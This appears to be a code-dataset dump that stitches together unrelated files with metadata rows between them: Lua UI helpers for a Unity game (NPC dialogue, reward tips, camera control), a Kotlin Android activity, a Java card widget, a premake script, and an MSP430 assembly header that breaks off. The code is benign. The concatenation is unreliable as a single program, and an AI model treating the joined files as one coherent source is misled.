local obj = GetUIParent(SGK.ResourcesManager.Load("prefabs/base/Iphone18.prefab"))
local _view = CS.SGK.UIReference.Setup(obj)
local _anim = _view.phone_bg[UnityEngine.Animator]
if info then
_view.phone_bg.Text[UI.Text].text = info.text
end
SGK.BackgroundMusicService.Pause()
_anim:Play("phone_ani1")
SGK.Action.DelayTime.Create(0.3):OnComplete(function()
if info and info.soundName then
_view[SGK.AudioSourceVolumeController]:Play("sound/"..info.soundName .. ".mp3")
end
_anim:Play("phone_ani2")
end)
_view.phone_bg.yBtn[CS.UGUIClickEventListener].onClick = function ( ... )
_anim:Play("phone_ani3")
SGK.Action.DelayTime.Create(0.5):OnComplete(function()
SGK.BackgroundMusicService.UnPause()
if fun_1 then
fun_1()
end
UnityEngine.GameObject.Destroy(obj)
end)
end
_view.phone_bg.nBtn[CS.UGUIClickEventListener].onClick = function ( ... )
_anim:Play("phone_ani4")
SGK.Action.DelayTime.Create(0.5):OnComplete(function()
SGK.BackgroundMusicService.UnPause()
if fun_2 then
fun_2()
end
UnityEngine.GameObject.Destroy(obj)
end)
end
end
function SGKTools.TreasureBox(func)
-- if not func then
-- return
-- end
local obj = GetUIParent(SGK.ResourcesManager.Load("prefabs/effect/UI/fx_baoxiang.prefab"))
local _view = CS.SGK.UIReference.Setup(obj)
_view.baoxiang[CS.UGUIClickEventListener].onClick = function ( ... )
_view.baoxiang.daiji_1:SetActive(false)
_view.baoxiang.baozha_2:SetActive(true)
SGK.Action.DelayTime.Create(2.0):OnComplete(function()
if func then
func()
end
UnityEngine.GameObject.Destroy(obj)
end)
end
end
function SGKTools.ShowTaskItem(conf,fun,parent)
--ERROR_LOG(sprinttb(conf))
local ItemList = {}
if conf.reward_id1 ~= 0 and conf.reward_id1 ~= 90036 then--必得
ItemList[#ItemList+1] = {type = conf.reward_type1,id = conf.reward_id1,count = conf.reward_value1,mark =1}
end
if conf.reward_id2 ~= 0 and conf.reward_id2 ~= 90036 then--必得
ItemList[#ItemList+1] = {type = conf.reward_type2,id = conf.reward_id2,count = conf.reward_value2,mark = 1}
end
if conf.reward_id3 ~= 0 and conf.reward_id3 ~= 90036 then--必得
ItemList[#ItemList+1] = {type = conf.reward_type3,id = conf.reward_id3,count = conf.reward_value3,mark = 1}
end
if conf.drop_id ~= 0 then
local Fight_reward = SmallTeamDungeonConf.GetFight_reward(conf.drop_id)
if Fight_reward then
local _level = module.HeroModule.GetManager():Get(11000).level
for i = 1,#Fight_reward do
if _level >= Fight_reward[i].level_limit_min and _level <= Fight_reward[i].level_limit_max then
local repetition = false
for j = 1,#ItemList do
if ItemList[j].id == Fight_reward[i].id then
repetition = true
break
end
end
if not repetition then
ItemList[#ItemList+1] = {type = Fight_reward[i].type,id = Fight_reward[i].id,count = 0,mark = 2}--概率获得
end
end
end
end
end
local ItemHelper = require "utils.ItemHelper"
local list = {}
for i = 1,#ItemList do
if i > 6 then
break
end
local item = ItemHelper.Get(ItemList[i].type, ItemList[i].id);
if item.id ~= 199999 and (ItemList[i].type ~= ItemHelper.TYPE.ITEM or item.cfg.is_show == 1) then
list[#list+1] = ItemList[i]
end
end
DialogStack.PushPref("ShowPreFinishTip", {itemTab = list, fun = fun},parent or UnityEngine.GameObject.FindWithTag("UGUIRootTop"))
--DialogStack.PushPrefStact("mapSceneUI/GiftBoxPre", {itemTab = list,interactable = true, fun = fun,textName = "<size=40>任</size>务报酬",textDesc = "",not_exit = true},parent or UnityEngine.GameObject.FindWithTag("UGUIRootTop").gameObject.transform)
end
function SGKTools.NpcTalking(npc_gid)
--npc对话闲聊
local npcConfig = require "config.npcConfig"
local MapConfig = require "config.MapConfig"
local gid = MapConfig.GetMapMonsterConf(npc_gid).npc_id
if gid == 0 then
ERROR_LOG("all_npc表里的gid列的"..npc_gid.."在config_arguments_npc表中的npc_id列中不存在")
return
end
local NpcTalkingList = npcConfig.Get_npc_talking(gid)
local NpcList = npcConfig.GetNpcFriendList()
local item_id = NpcList[gid].arguments_item_id
local value = module.ItemModule.GetItemCount(item_id)
local name = npcConfig.GetnpcList()[gid].name
local suitable_npc_list = {}
--ERROR_LOG(tostring(value),sprinttb(NpcTalkingList))
if NpcTalkingList then
local weight_sum = 0
for i =1,#NpcTalkingList do
if value >= NpcTalkingList[i].min and value <= NpcTalkingList[i].max then
weight_sum = weight_sum + NpcTalkingList[i].weight
suitable_npc_list[#suitable_npc_list+1] = NpcTalkingList[i]
end
end
local rom = math.random(1,weight_sum)
weight_sum = 0
for i = 1,#suitable_npc_list do
weight_sum = weight_sum + suitable_npc_list[i].weight
if rom <= weight_sum then
local shop_id = suitable_npc_list[i].shop_type
local shop_item_gid = suitable_npc_list[i].shop_gid
if shop_id ~= 0 then
module.ShopModule.GetManager(shop_id)
end
LoadStory(suitable_npc_list[i].story_id,function ( ... )
--ERROR_LOG(shop_id,shop_item_gid)
if shop_id ~= 0 then
local shop_item_list = module.ShopModule.GetManager(shop_id).shoplist[shop_item_gid].product_item_list
--ERROR_LOG(shop_id,shop_item_gid,sprinttb(module.ShopModule.GetManager(shop_id).shoplist))
local old_value = value
module.ShopModule.Buy(shop_id,shop_item_gid,1,nil,function( ... )
local now_value = module.ItemModule.GetItemCount(item_id) - value
if now_value >= 1 then
showDlgError(nil,SGK.Localize:getInstance():getValue("haogandu_npc_tips_01",name,"+"..now_value))
end
end)
end
end)
return
end
end
end
end
function SGKTools.FlyItem(pos,itemlist)
local parent = UnityEngine.GameObject.FindWithTag("UGUIRootTop")
local prefab = SGK.ResourcesManager.Load("prefabs/base/IconFrame.prefab");
for i = 1,#itemlist do
local ItemIconView = SGK.UIReference.Setup(UnityEngine.GameObject.Instantiate(prefab, parent.transform));
utils.IconFrameHelper.Create(ItemIconView, {id = itemlist[i].id,type = itemlist[i].type,count = itemlist[i].count,showName=true}) -- if itemlist[i].type == ItemHelper.TYPE.HERO then
ItemIconView.transform.position = Vector3(itemlist[i].pos[1],itemlist[i].pos[2],itemlist[i].pos[3])
ItemIconView.transform.localScale = Vector3.one*0.8
ItemIconView.transform:DOMove(Vector3(pos[1],pos[2],pos[3]),1):OnComplete(function( ... )
ItemIconView:AddComponent(typeof(UnityEngine.CanvasGroup)):DOFade(0,0.5):OnComplete(function( ... )
UnityEngine.GameObject.Destroy(ItemIconView.gameObject)
end)--:SetDelay(1)
end)
end
end
function SGKTools.GetNPCBribeValue(npc_id)
local ItemModule = require "module.ItemModule"
local npcConfig = require "config.npcConfig"
local npc_Friend_cfg = npcConfig.GetNpcFriendList()[npc_id]
if not npc_Friend_cfg then
return 0,0
end
local relation = StringSplit(npc_Friend_cfg.qinmi_max,"|")
local relation_desc = StringSplit(npc_Friend_cfg.qinmi_name,"|")
local relation_value = ItemModule.GetItemCount(npc_Friend_cfg.arguments_item_id)
local relation_index = 0
for i = 1,#relation do
if relation_value >= tonumber(relation[i]) then
relation_index = i
end
end
return relation_value,relation_index
end
function SGKTools.OpenNPCBribeView(npc_id)
local ItemModule = require "module.ItemModule"
local npcConfig = require "config.npcConfig"
local npc_Friend_cfg = npcConfig.GetNpcFriendList()[npc_id]
DialogStack.PushPref("npcBribeTaking",{id = npc_Friend_cfg.npc_id,item_id = npc_Friend_cfg.arguments_item_id})
end
function SGKTools.FriendChat(pid,name,desc)
local ChatManager = require 'module.ChatModule'
utils.NetworkService.Send(5009,{nil,pid,3,desc,""})
ChatManager.SetManager({fromid = pid,fromname = name,title = desc},1,3)--0聊天显示方向1右2左
end
--好友排行榜名次变化Tip
function SGKTools.RankListChangeTipShow(data,func)
local tempObj = SGK.ResourcesManager.Load("prefabs/rankList/rankListChangeTip.prefab")
local obj = nil;
local UIRoot = UnityEngine.GameObject.FindWithTag("UITopRoot")
if UIRoot then
obj = CS.UnityEngine.GameObject.Instantiate(tempObj,UIRoot.gameObject.transform)
end
local TipsRoot = CS.SGK.UIReference.Setup(obj)
local _view=TipsRoot.view
local type=data and data.type
local pids=data and data.pids
CS.UGUIClickEventListener.Get(TipsRoot.mask.gameObject, true).onClick = function()
if func then
func()
end
UnityEngine.GameObject.Destroy(obj);
end
local RankListModule = require "module.RankListModule"
local rankCfg=RankListModule.GetRankCfg(type)
local desc= SGK.Localize:getInstance():getValue("paihangbang_tongzhihaoyou_01",SGK.Localize:getInstance():getValue(rankCfg.name))
_view.item.typeText[UI.Text].text=SGK.Localize:getInstance():getValue(rankCfg.name)
_view.item.Text[UI.Text].text="超越好友!"
_view.Icon[UI.Image]:LoadSprite("rankList/"..rankCfg.icon)
_view.item.Icon[UI.Image]:LoadSprite("rankList/"..rankCfg.icon);
CS.UGUIClickEventListener.Get(_view.Button.gameObject).onClick = function()
for i=1,#pids do
local _pid = pids[i]
if module.playerModule.IsDataExist(_pid) then
local _name = module.playerModule.IsDataExist(_pid).name
SGKTools.FriendChat(_pid,_name,desc)
else
module.playerModule.Get(_pid,(function( ... )
local _name = module.playerModule.IsDataExist(_pid).name
SGKTools.FriendChat(_pid,_name,desc)
end))
end
end
if func then
func()
end
UnityEngine.GameObject.Destroy(obj);
end
end
--学会图纸Tip
function SGKTools.LearnedDrawingTipShow(data,func)
local tempObj = SGK.ResourcesManager.Load("prefabs/Tips/LearnedDrawingTip.prefab")
local obj = nil;
local UIRoot = UnityEngine.GameObject.FindWithTag("UITopRoot")
if UIRoot then
obj = CS.UnityEngine.GameObject.Instantiate(tempObj,UIRoot.gameObject.transform)
end
local TipsRoot = CS.SGK.UIReference.Setup(obj)
local _view=TipsRoot.Dialog
local _id=data and data[1]
local _item=utils.ItemHelper.Get(utils.ItemHelper.TYPE.ITEM,_id);
utils.IconFrameHelper.Create(_view.Content.IconFrame,{customCfg=setmetatable({count=0},{__index=_item})});
_view.Content.Image.tip.Text[UI.Text].text=_item.name
CS.UGUIClickEventListener.Get(_view.Content.Btns.Ensure.gameObject).onClick = function()
local ManorManufactureModule = require "module.ManorManufactureModule"
ManorManufactureModule.ShowProductSource(_id)
if func then
func()
end
UnityEngine.GameObject.Destroy(obj);
end
local _DoClosefunc=function()
if func then
func()
end
UnityEngine.GameObject.Destroy(obj);
end
CS.UGUIClickEventListener.Get(_view.Content.Btns.Cancel.gameObject).onClick = _DoClosefunc
CS.UGUIClickEventListener.Get(TipsRoot.gameObject, true).onClick = _DoClosefunc
CS.UGUIClickEventListener.Get(_view.Close.gameObject).onClick = _DoClosefunc
end
--获得BuffTip
function SGKTools.GetBuffTipShow(data,func)
local tempObj = SGK.ResourcesManager.Load("prefabs/Tips/GetBuffTip.prefab")
local obj = nil;
local UIRoot = UnityEngine.GameObject.FindWithTag("UITopRoot")
if UIRoot then
obj = CS.UnityEngine.GameObject.Instantiate(tempObj,UIRoot.gameObject.transform)
end
local TipsRoot = CS.SGK.UIReference.Setup(obj)
local _view = TipsRoot.view
CS.UGUIClickEventListener.Get(_view.mask.gameObject, true).onClick = function()
if func then
func()
end
UnityEngine.GameObject.Destroy(obj);
end
local _buffId,_value = data[1],data[2]
local heroBuffModule = require "hero.HeroBuffModule"
local buffCfg = heroBuffModule.GetBuffConfig(_buffId)
if buffCfg then
if buffCfg.hero_id ~=0 then
_view.item.Icon[UI.Image]:LoadSprite("icon/" ..buffCfg.hero_id)
end
local ParameterConf = require "config.ParameterShowInfo";
_view.item.Image.Text[UI.Text]:TextFormat("{0}<color=#8A4CC7FF>+{1}</color>", ParameterConf.Get(buffCfg.type).name, _value * buffCfg.value);
end
end
--通过modeId 检查mode是否存在,不存在则返回默认mode
--path="roles_small/" or "roles/" or "manor/qipao/"
--suffix="_SkeletonData" or "_Material"
function SGKTools.loadExistSkeletonDataAsset(path,HeroId,mode,suffix)
HeroId = HeroId or 11000
suffix = suffix or "_SkeletonData.asset"
print("load", path..mode.."/"..mode..suffix)
local skeletonDataAsset = SGK.ResourcesManager.Load(path..mode.."/"..mode..suffix);
if skeletonDataAsset == nil then
local defaultMode = module.HeroHelper.GetDefaultMode(HeroId) or 11000;
skeletonDataAsset = SGK.ResourcesManager.Load(path..defaultMode.."/"..defaultMode..suffix) or SGK.ResourcesManager.Load(path.."11000/11000"..suffix)
end
return skeletonDataAsset
end
--点击显示 Item name
--ori--0(Arrow target Top) 1(Arrow target bottom)
--off_y
function SGKTools.ShowItemNameTip(node,str,ori,off_y)
local Arrangement={["Top"]=0,["Bottom"]=1}
local _orientation=ori or Arrangement.Top
local _off_y=off_y or 0
local objClone
CS.UGUIPointerEventListener.Get(node.gameObject, true).onPointerDown = function(go, pos)
objClone=CS.UnityEngine.GameObject.Instantiate(SGK.ResourcesManager.Load("prefabs/base/ClickTipItem.prefab"),node.transform)
local view=CS.SGK.UIReference.Setup(objClone)
view.Text[UI.Text].text=str or ""
view.topArrow:SetActive(_orientation == Arrangement.Top);
view.bottomArrow:SetActive(_orientation == Arrangement.Bottom);
if _orientation == Arrangement.Top then
view[UnityEngine.RectTransform].pivot = CS.UnityEngine.Vector2(0,1);
view[UnityEngine.RectTransform].anchoredPosition = CS.UnityEngine.Vector2(-20,-off_y);
else
view[UnityEngine.RectTransform].pivot = CS.UnityEngine.Vector2(0.5, 0);
view[UnityEngine.RectTransform].anchoredPosition = CS.UnityEngine.Vector2(0,_off_y);
end
view:SetActive(true)
view.transform:DOScale(Vector3.one,0.1):OnComplete(function ( ... )
view[UnityEngine.CanvasGroup].alpha = 1
end)
end
CS.UGUIPointerEventListener.Get(node.gameObject, true).onPointerUp = function(go, pos)
if objClone then
CS.UnityEngine.GameObject.Destroy(objClone)
end
end
end
function SGKTools.ShowDlgHelp(desc,title,parent)
local tempObj = SGK.ResourcesManager.Load("prefabs/base/ShowDlgHelp.prefab")
local obj = nil;
local UIRoot = parent or UnityEngine.GameObject.FindWithTag("UITopRoot")
if UIRoot then
obj = CS.UnityEngine.GameObject.Instantiate(tempObj,UIRoot.gameObject.transform)
end
local TipsRoot = CS.SGK.UIReference.Setup(obj)
TipsRoot.Dialog.Btn.Text[UI.Text].text = "知道了"
if desc then
TipsRoot.Dialog.describe[UI.Text].text = desc
end
if title then
TipsRoot.Dialog.Title[UI.Text].text = title
end
TipsRoot.mask[CS.UGUIClickEventListener].onClick = function ( ... )
UnityEngine.GameObject.Destroy(obj);
end
TipsRoot.Dialog.Close[CS.UGUIClickEventListener].onClick = function ( ... )
UnityEngine.GameObject.Destroy(obj);
end
TipsRoot.Dialog.Btn[CS.UGUIClickEventListener].onClick = function ( ... )
UnityEngine.GameObject.Destroy(obj);
end
end
function SGKTools.OpenActivityTeamList(Activity_id)
--showDlgError(nil,"暂无开放")
local list = {}
list[2] = {id = Activity_id}
DialogStack.Push('TeamFrame',{idx = 2,viewDatas = list});
end
function SGKTools.StartActivityMatching(Activity_id)
local TeamModule = require "module.TeamModule"
local ActivityTeamlist = require "config.activityConfig"
if Activity_id then
local cfg = ActivityTeamlist.Get_all_activity(Activity_id)
if cfg then
showDlgError(nil,"正在匹配"..cfg.name)
TeamModule.playerMatching(Activity_id)
end
end
end
function SGKTools.matchingName(name)
if not name then
return ""
end
if string.len(name) < 12 then
return name
end
local _a = string.sub(name, 1, 5)
local _b = string.sub(name, -6)
if _a == "<SGK>" and _b == "</SGK>" then
return "陆水银"
end
return name
end
function SGKTools.PlayDestroyAnim(view)
if view and utils.SGKTools.GameObject_null(view) == false then
local _dialogAnim = view:GetComponent(typeof(SGK.DialogAnim))
if _dialogAnim and utils.SGKTools.GameObject_null(_dialogAnim) == false then
local co = coroutine.running()
_dialogAnim.destroyCallBack = function()
coroutine.resume(co)
end
_dialogAnim:PlayDestroyAnim()
coroutine.yield()
end
end
end
local function ROUND(t)
local START_TIME = 1467302400
local PERIOD_TIME = 3600 * 24
return math.floor((t-START_TIME)/PERIOD_TIME);
end
local function random_range(rng, min, max)
local WELLRNG512a_ = require "WELLRNG512a"
assert(min <= max)
local v = WELLRNG512a_.value(rng);
return min + (v % (max - min + 1))
end
function SGKTools.GetTeamPveIndex(id)
local WELLRNG512a_ = require "WELLRNG512a"
local Time = require "module.Time"
return random_range(WELLRNG512a_.new(id + ROUND(Time.now())), 1, 4);
end
function SGKTools.GetGuildTreasureIndex(id,index)
local WELLRNG512a_ = require "WELLRNG512a"
local Time = require "module.Time"
return random_range(WELLRNG512a_.new(id + ROUND(Time.now())), 1, index);
end
function SGKTools.GameObject_null(obj)
if string.sub(tostring(obj), 1, 5) == "null:" then
return true
elseif tostring(obj) == "null: 0" then
return true
elseif obj == nil then
return true
end
return false
end
function SGKTools.StartTeamFight(gid)
utils.NetworkService.Send(16070, {nil,gid})
end
function SGKTools.TaskQuery(id)
local taskConf = require "config.taskConf"
local quest_id = module.QuestModule.GetCfg(id).next_quest_menu
return taskConf.Getquest_menu(quest_id)
end
function SGKTools.NpcChatData(pid,desc)
local ChatManager = require 'module.ChatModule'
local npcConfig = require "config.npcConfig"
local cfg = npcConfig.GetnpcList()[pid]
if cfg then
ChatManager.SetData({nil,nil,{pid,cfg.name,1},6,desc})
else
showDlgError(nil,"npcid->"..gid.."在true_npc表中不存在")
end
end
function SGKTools.UpdateNpcDirection(npc_id,pid)
pid = pid or module.playerModule.Get().id
DispatchEvent("UpdateNpcDirection_playerinfo",{pid = pid,npc_id = npc_id})
end
function SGKTools.ResetNpcDirection(npc_id)
DispatchEvent("UpdateNpcDirection_npcinfo",{gid = npc_id})
end
function SGKTools.GetQuestColor(iconName, desc)
if iconName == "bg_rw_1" then
desc = string.format("<color=#00A99FFF>%s</color>", desc)
elseif iconName == "bg_rw_2" then
desc = string.format("<color=#CC7504FF>%s</color>", desc)
elseif iconName == "bg_rw_3" then
--desc = string.format("<color=#CC7504FF>%s</color>", desc)
elseif iconName == "bg_rw_4" then
desc = string.format("<color=#D75D67FF>%s</color>", desc)
elseif iconName == "bg_rw_5" then
desc = string.format("<color=#1371B2FF>%s</color>", desc)
elseif iconName == "bg_rw_6" then
desc = string.format("<color=#9118C3FF>%s</color>", desc)
elseif iconName == "bg_rw_7" then
desc = string.format("<color=#898E00FF>%s</color>", desc)
elseif iconName == "bg_rw_8" then
desc = string.format("<color=#3AA400FF>%s</color>", desc)
end
return desc
end
function SGKTools.get_title_frame(str)
local title = ""
local num = string.len(str)
for i = 1,math.floor(num/3) do
local start = (i-1) * 3 + 1
if i == 1 then
title = "<size=44>"..str:sub(start, start + 2).."</size>"
else
title = title..str:sub(start, start + 2)
end
end
return title
end
local activityConfig = require "config.activityConfig";
function SGKTools.GetActivityIDByQuest(quest_id)
return activityConfig.GetActivityCfgByQuest(quest_id);
end
function SGKTools.MapCameraMoveTo(npc_id)
local controller = UnityEngine.GameObject.FindObjectOfType(typeof(SGK.MapSceneController));
if not controller then
return;
end
if not npc_id then
controller:ControllPlayer(module.playerModule.GetSelfID())
else
local obj = module.NPCModule.GetNPCALL(npc_id)
if obj then
controller:ControllPlayer(0);
controller.playerCamera.target = obj.transform;
end
end
end
--移动相机到目标身上
function SGKTools.MapCameraMoveToTarget(transform)
local controller = UnityEngine.GameObject.FindObjectOfType(typeof(SGK.MapSceneController));
if not controller then
return;
end
controller:ControllPlayer(0);
controller.playerCamera.target = transform;
end
function SGKTools.GetCopyUIItem(parent,prefab,i)
local obj = nil
if i <= parent.transform.childCount then
obj = parent.transform:GetChild(i-1).gameObject
else
obj = CS.UnityEngine.GameObject.Instantiate(prefab.gameObject,parent.gameObject.transform)
obj.transform.localPosition = Vector3.zero
end
obj:SetActive(true)
local item = CS.SGK.UIReference.Setup(obj)
return item
end
function SGKTools.MapCameraMoveTo(npc_id)
local controller = UnityEngine.GameObject.FindObjectOfType(typeof(SGK.MapSceneController));
if not controller then
return;
end
if not npc_id then
controller:ControllPlayer(module.playerModule.GetSelfID())
else
local obj = module.NPCModule.GetNPCALL(npc_id)
if obj then
controller:ControllPlayer(0);
controller.playerCamera.target = obj.transform;
end
end
end
-- event 1 - 10 已经使用
function SGKTools.MapBroadCastEvent(event, data)
utils.NetworkService.Send(18046, {nil,{event, module.playerModule.GetSelfID(), data}})--向地图中其他人发送消息
end
function SGKTools.Athome()
if SceneStack.HomeMapId[SceneStack.MapId()] then
return true
end
return false
end
local containers = {}
function SGKTools.SaveContainers(key, value, default)
if key == nil then
return;
end
if value ~= nil then
containers[key] = value;
elseif default ~= nil and containers[key] == nil then
containers[key] = default;
end
return containers[key];
end
function SGKTools.PlayEffect(effectName,position,node,rotation,scale,layerName,sortOrder)
local prefab = SGK.ResourcesManager.Load("prefabs/effect/UI/" .. effectName..".prefab");
local o = prefab and UnityEngine.GameObject.Instantiate(prefab, node.transform);
if o then
local transform = o.transform;
transform.localPosition = position or Vector3.zero;
transform.localRotation =rotation and Quaternion.Euler(rotation) or Quaternion.identity;
transform.localScale = scale and scale*Vector3.one or Vector3.one
if layerName then
o.layer = UnityEngine.LayerMask.NameToLayer(layerName);
for i = 0,transform.childCount-1 do
transform:GetChild(i).gameObject.layer = UnityEngine.LayerMask.NameToLayer(layerName);
end
end
if sortOrder then
SGK.ParticleSystemSortingLayer.Set(o, sortOrder);
end
end
return o
end
function SGKTools.GetSceneEffect( name )
if not loadSceneEffectArr[name] then
return;
end
if SGKTools.GameObject_null(loadSceneEffectArr[name]) or SGKTools.GameObject_null(loadSceneEffectArr[name][1]) then
loadSceneEffectArr[name] = nil
return;
end
return true
end
return SGKTools
| 38.745772 | 250 | 0.628011 |
999eb96c2b9ca7a7abe031e064e0d30adc68c7e6 | 307 | kt | Kotlin | KotlinDemo/app/src/main/java/com/tgw/myapplication/AboutMeActivity.kt | tangaowei/AndroidAccelerate | ccb8edddd76847bcaaf070680e39b2b1d5a67d27 | [
"Apache-2.0"
] | null | null | null | KotlinDemo/app/src/main/java/com/tgw/myapplication/AboutMeActivity.kt | tangaowei/AndroidAccelerate | ccb8edddd76847bcaaf070680e39b2b1d5a67d27 | [
"Apache-2.0"
] | null | null | null | KotlinDemo/app/src/main/java/com/tgw/myapplication/AboutMeActivity.kt | tangaowei/AndroidAccelerate | ccb8edddd76847bcaaf070680e39b2b1d5a67d27 | [
"Apache-2.0"
] | null | null | null | package com.tgw.myapplication
import android.os.Bundle
import androidx.appcompat.app.AppCompatActivity
class AboutMeActivity: AppCompatActivity() {
override fun onCreate(savedInstanceState: Bundle?) {
super.onCreate(savedInstanceState)
setContentView(R.layout.activity_aboutme)
}
} | 27.909091 | 56 | 0.775244 |
2a5444df2d0e396316ed90162685672afe89c764 | 2,321 | java | Java | kie-wb-common-ala/kie-wb-common-ala-ui/kie-wb-common-ala-ui-client/src/main/java/org/guvnor/ala/ui/client/widget/item/SelectableCardItemBase.java | etirelli/kie-wb-common | 367cc780c11f445edef621a32484e235f8a753b2 | [
"Apache-2.0"
] | 34 | 2017-05-21T11:28:40.000Z | 2021-07-03T13:15:03.000Z | kie-wb-common-ala/kie-wb-common-ala-ui/kie-wb-common-ala-ui-client/src/main/java/org/guvnor/ala/ui/client/widget/item/SelectableCardItemBase.java | etirelli/kie-wb-common | 367cc780c11f445edef621a32484e235f8a753b2 | [
"Apache-2.0"
] | 2,576 | 2017-03-14T00:57:07.000Z | 2022-03-29T07:52:38.000Z | kie-wb-common-ala/kie-wb-common-ala-ui/kie-wb-common-ala-ui-client/src/main/java/org/guvnor/ala/ui/client/widget/item/SelectableCardItemBase.java | etirelli/kie-wb-common | 367cc780c11f445edef621a32484e235f8a753b2 | [
"Apache-2.0"
] | 158 | 2017-03-15T08:55:40.000Z | 2021-11-19T14:07:17.000Z | /*
* Copyright 2017 Red Hat, Inc. and/or its affiliates.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
package org.guvnor.ala.ui.client.widget.item;
import org.jboss.errai.common.client.dom.Div;
import org.jboss.errai.ui.client.local.api.IsElement;
import static org.jboss.errai.common.client.dom.DOMUtil.addCSSClass;
import static org.jboss.errai.common.client.dom.DOMUtil.hasCSSClass;
import static org.jboss.errai.common.client.dom.DOMUtil.removeCSSClass;
public abstract class SelectableCardItemBase
implements IsElement {
private static final String CARD_ACCENTED_CLASS = "card-pf-accented";
private static final String REMOVE_OPTION = "remove-option";
private static final String OPACITY = "opacity";
private static final String OPACITY_VALUE = "0.3";
public void disable() {
getAccentedArea().getClassList().add(REMOVE_OPTION);
}
public boolean isDisabled() {
return getAccentedArea().getClassList().contains(REMOVE_OPTION);
}
public boolean isSelected() {
return hasCSSClass(getAccentedArea(),
CARD_ACCENTED_CLASS);
}
public void setSelected(boolean selected) {
removeCSSClass(getAccentedArea(),
CARD_ACCENTED_CLASS);
if (selected) {
addCSSClass(getAccentedArea(),
CARD_ACCENTED_CLASS);
removeOpacity();
} else {
addOpacity();
}
}
protected abstract Div getAccentedArea();
protected abstract Div getBody();
private void addOpacity() {
getBody().getStyle().setProperty(OPACITY,
OPACITY_VALUE);
}
private void removeOpacity() {
getBody().getStyle().removeProperty(OPACITY);
}
}
| 30.946667 | 75 | 0.672124 |
3e7643e1364e9e74fe90ac1623ada077173d3118 | 535 | lua | Lua | src/SharpLang.Compiler/premake4.lua | xen2/SharpLang | 07902915970ace70c4ee0430a672d25187a75d3a | [
"BSD-2-Clause-FreeBSD"
] | 277 | 2015-01-04T20:42:36.000Z | 2022-03-21T06:52:03.000Z | src/SharpLang.Compiler/premake4.lua | xen2/SharpLang | 07902915970ace70c4ee0430a672d25187a75d3a | [
"BSD-2-Clause-FreeBSD"
] | 31 | 2015-01-05T08:00:38.000Z | 2016-01-05T01:18:59.000Z | src/SharpLang.Compiler/premake4.lua | xen2/SharpLang | 07902915970ace70c4ee0430a672d25187a75d3a | [
"BSD-2-Clause-FreeBSD"
] | 46 | 2015-01-21T00:41:59.000Z | 2021-03-23T07:00:01.000Z | project "SharpLang.Compiler"
kind "ConsoleApp"
language "C#"
flags { "Unsafe"}
SetupManagedProject()
files { "**.cs" }
excludes { "obj/**" }
dependson { "SharpLang.Runtime" }
links
{
"System",
"System.Core",
"SharpLLVM",
"Mono.Cecil",
"Mono.Cecil.Pdb",
"Mono.Cecil.Rocks",
"Mono.Linker",
depsdir .. "/Mono.Options/Mono.Options",
depsdir .. "/System.Reflection.Metadata/System.Collections.Immutable",
depsdir .. "/System.Reflection.Metadata/System.Reflection.Metadata",
} | 20.576923 | 74 | 0.628037 |
4c11083c2803a4ebc3540566de7a42c6a11bd62a | 2,438 | php | PHP | application/views/home/laporan.php | ronisky/sipor | 17148f0d6915e9b13935fb1a34141b0f4c3e3b6b | [
"MIT"
] | null | null | null | application/views/home/laporan.php | ronisky/sipor | 17148f0d6915e9b13935fb1a34141b0f4c3e3b6b | [
"MIT"
] | null | null | null | application/views/home/laporan.php | ronisky/sipor | 17148f0d6915e9b13935fb1a34141b0f4c3e3b6b | [
"MIT"
] | 2 | 2020-09-12T03:19:14.000Z | 2020-11-17T22:07:36.000Z | <!-- header -->
<?php include '_partials/header.php' ?>
<section class="ftco-section-parallax ftco-degree-bg">
<div class="parallax-img d-flex align-items-center">
<div class="container mt-5">
<h2 class="mb-4" style="color: white;">Data laporan
<strong class="typewrite" data-period="4000" data-type='[ "Kesehatan.", "Lingkungan.", "Fasilitas Umum."]'>
<span class="wrap"></span>
</strong>
</h2>
<div class="row">
<?php foreach ($laporan as $row) :
if ($row->status == '1') {
$sts = "<div class='text-warning' style='font-weight: bold;'>Dikirim</div>";
} elseif ($row->status == '2') {
$sts = "<div class='text-primary' style='font-weight: bold;'>Diproses</div>";
} elseif ($row->status == '3') {
$sts = "<div class='text-success' style='font-weight: bold;'>Success</div>";
} elseif ($row->status == '4') {
$sts = "<div class='text-danger' style='font-weight: bold;'>Ditolak</div>";
};
?>
<div class="col-md-3 ftco-animate">
<div class="blog-entry">
<img class="card-img-top" src="<?php echo $row->photo ?>" alt="Card image cap">
<div class="text p-4 d-block">
<div class="row">
<div class="col-md-12"><?= $row->tanggal; ?></div>
<div class="col-md-12">
<div><?= $row->jenis_laporan; ?></div>
<?= $sts ?>
</div>
<dibv class="col-md-6"></dibv>
<div class="col-md-6 float-right">
<a href="<?php echo site_url('main/detail/') . $row->id ?>">See more</a>
</div>
</div>
</div>
</div>
</div>
<?php endforeach; ?>
</div>
</div>
</div>
</section>
<!-- footer -->
<?php include '_partials/footer.php' ?> | 49.755102 | 123 | 0.38064 |
4eb7dde95a6cdb816551028f287cdbaac696cc57 | 3,845 | asm | Assembly | apps/breakfast/pde_fw/toast/examples/Assembly (CCE)/msp430x24x_uscib1_spi_10.asm | tp-freeforall/breakfast | 0399619cdb7a81b3c3cc4c5a1b7d69f5c32b8c65 | [
"BSD-3-Clause"
] | 1 | 2020-05-15T18:08:48.000Z | 2020-05-15T18:08:48.000Z | apps/breakfast/toast/msp430-code-examples/Assembly (CCE)/msp430x24x_uscib1_spi_10.asm | tp-freeforall/breakfast | 0399619cdb7a81b3c3cc4c5a1b7d69f5c32b8c65 | [
"BSD-3-Clause"
] | null | null | null | apps/breakfast/toast/msp430-code-examples/Assembly (CCE)/msp430x24x_uscib1_spi_10.asm | tp-freeforall/breakfast | 0399619cdb7a81b3c3cc4c5a1b7d69f5c32b8c65 | [
"BSD-3-Clause"
] | null | null | null | ;*******************************************************************************
; msp430x24x Demo - USCI_B1, SPI 3-Wire Slave Data Echo
;
; Description: SPI slave talks to SPI master using 3-wire mode. Data received
; from master is echoed back. USCI RX ISR is used to handle communication,
; CPU normally in LPM4. Prior to initial data exchange, master pulses
; slaves RST for complete reset.
; ACLK = n/a, MCLK = SMCLK = DCO ~ 1048kHz
;
; Use with SPI Master Incremented Data code example. If the slave is in
